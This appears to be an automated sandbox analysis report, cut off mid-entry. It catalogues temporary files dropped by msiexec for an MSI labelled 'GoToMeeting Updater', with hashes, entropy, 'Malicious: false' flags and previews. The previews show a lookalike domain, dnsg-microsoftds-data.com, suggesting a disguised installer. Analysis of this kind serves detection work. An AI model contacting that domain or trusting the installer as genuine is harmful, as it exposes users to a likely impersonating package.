Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIBE78.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.329780998297349
Encrypted:	false
SSDEEP:	24:oLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:oLbHrGMNZAbe3EVlt17HuzkHA
MD5:	186C60C76B3F8FC7424AE576DDBE230D
SHA1:	56E3A276E84E3714F66DABF535DAC078E6A319F8
SHA-256:	E11D6CDDCD09B10ADAC2E65250A8A2770976684825F14EB1E22D367198AB44FA
SHA-512:	0D550AC78F953E53B38A09445C46FC2C3974A0F674C5FF5115D677F21D3ECB73DF244AB4226EBBFEF320B76C7E58CF6F12E010A9A5332638AD504B2B13570FD9
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIC213.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIC34D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.329780998297349
Encrypted:	false
SSDEEP:	24:pLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:pLbHrGMNZAbe3EVlt17HuzkHA
MD5:	8FA1C9BAA5A6677B6D4BCCFEDF63F00B
SHA1:	20F9B1DD262B254B9A9B622DE16AB621E28E9D85
SHA-256:	1B1AED6160746EEB005E1A5B0B0AF3DC9580C56A5969E480E7D8074C1FFA12BB
SHA-512:	6E5850BBF218B491640CCE95667307F54043FA9E89D1B511987EE6D3F71956F58145D74E78A61A31CD29A68A43C80F3D72C828EF096C55A7F078E4F2AA58C8BA
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIC7B3.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIC9B7.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.329780998297349
Encrypted:	false
SSDEEP:	24:WLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:WLbHrGMNZAbe3EVlt17HuzkHA
MD5:	6BD843CAA1F7F91195AFD0CF871A3952
SHA1:	4E6C0ED9B1E0D002FC4110D6E611F511CD7A10BA
SHA-256:	99D90110E5416DFE3CE3C5C0466BC2702FE2B4164B653B68438EC4FC6A2AC116
SHA-512:	A401D35B8A20DAF4C42FB66F337934405171A38954BA9560791B6E01D9E7F24E78D1555B2C1BA7B085CA7062F91C86187D4737CEE253F90F91B0AEEE073C42C6
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSICEBA.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSICF76.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.329780998297349
Encrypted:	false
SSDEEP:	24:HLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:HLbHrGMNZAbe3EVlt17HuzkHA
MD5:	D1271AC3D8D8C28E246BF9BD239E6BE3
SHA1:	A05FFC5504BE0AB0B1D354C52B7B4456800D2E97
SHA-256:	1A87C4391760F2F212137F96FB67BDBA2CF6900817F38E7C2E70CAF7086EEB27
SHA-512:	2761786AD53E3CA330B8A3FDAEF695813391F5A6E5DA320410158C790A61E9FD61017D11B050450A22DE9CC98D643FF2908C13387C78E8D9798ACB366D2982FB
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSID2E2.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSID3DD.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.329780998297349
Encrypted:	false
SSDEEP:	24:HLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:HLbHrGMNZAbe3EVlt17HuzkHA
MD5:	D1271AC3D8D8C28E246BF9BD239E6BE3
SHA1:	A05FFC5504BE0AB0B1D354C52B7B4456800D2E97
SHA-256:	1A87C4391760F2F212137F96FB67BDBA2CF6900817F38E7C2E70CAF7086EEB27
SHA-512:	2761786AD53E3CA330B8A3FDAEF695813391F5A6E5DA320410158C790A61E9FD61017D11B050450A22DE9CC98D643FF2908C13387C78E8D9798ACB366D2982FB
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSID71A.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSID873.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.329780998297349
Encrypted:	false
SSDEEP:	24:ObLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:ObLbHrGMNZAbe3EVlt17HuzkHA
MD5:	F9F0FD41D58FE7D260D1091012541949
SHA1:	92745DD4DDDAC87B490D2B1D211D900D44199AFE
SHA-256:	AF600C57635466A20510A634A6B3D0F2590297BF5DD0B53CEA5326A1ED379003
SHA-512:	3548A3374B28F9C3A0DB5FDA5E0498AF9BD8F8BD33463D9D01995DFF8A4D59B6612F1661FBA849F011794D20F62FA8F20C8F0BBDB663AEF214D1CA6B3EBBDA9F
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIDC9B.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIDDF3.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.329780998297349
Encrypted:	false
SSDEEP:	24:ObLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:ObLbHrGMNZAbe3EVlt17HuzkHA
MD5:	F9F0FD41D58FE7D260D1091012541949
SHA1:	92745DD4DDDAC87B490D2B1D211D900D44199AFE
SHA-256:	AF600C57635466A20510A634A6B3D0F2590297BF5DD0B53CEA5326A1ED379003
SHA-512:	3548A3374B28F9C3A0DB5FDA5E0498AF9BD8F8BD33463D9D01995DFF8A4D59B6612F1661FBA849F011794D20F62FA8F20C8F0BBDB663AEF214D1CA6B3EBBDA9F
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIE19E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIE22B.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.329780998297349
Encrypted:	false
SSDEEP:	24:LxLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:1LbHrGMNZAbe3EVlt17HuzkHA
MD5:	468E1C2BCBDC8782D947CD4BD95A9548
SHA1:	C747588D445CCA69B9B292600650D906E034D858
SHA-256:	5EF75A957C9165366D2A7D796151F8F2DE2B8D88147C50B588277DE132BD66B4
SHA-512:	7923E418D2E7616F332560AFD15F8DD867590D40966961681D5639B61B3EEF3A9E4CD9C26EE08ED7300D5C4D918BECAE3EF8BA6E199B3F388245207FC7913E9B
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIE597.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIE625.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.329780998297349
Encrypted:	false
SSDEEP:	24:LxLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:1LbHrGMNZAbe3EVlt17HuzkHA
MD5:	468E1C2BCBDC8782D947CD4BD95A9548
SHA1:	C747588D445CCA69B9B292600650D906E034D858
SHA-256:	5EF75A957C9165366D2A7D796151F8F2DE2B8D88147C50B588277DE132BD66B4
SHA-512:	7923E418D2E7616F332560AFD15F8DD867590D40966961681D5639B61B3EEF3A9E4CD9C26EE08ED7300D5C4D918BECAE3EF8BA6E199B3F388245207FC7913E9B
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIEB.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.325013107674011
Encrypted:	false
SSDEEP:	24:YLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:YLbHrGMNZAbe3EVlt17HuzkHA
MD5:	A5BD3AA6737133C1EBBE3544F31977EC
SHA1:	6627F7FF8F8328B72C0D05824E1EC2E481241E7A
SHA-256:	8B4EA069389C1AB68F5D2BB8EE310E1507A305EDD42045180B097AF450620921
SHA-512:	AB7A52B196CD39DE3D15360AA801EFB35DA14B2BD6DACDDEDBABAF8F1A1238394194C5AAFFF940CF1C0F1F6D55A16D9D86EA023DE771DAC551C04892787BC124
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIEB75.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
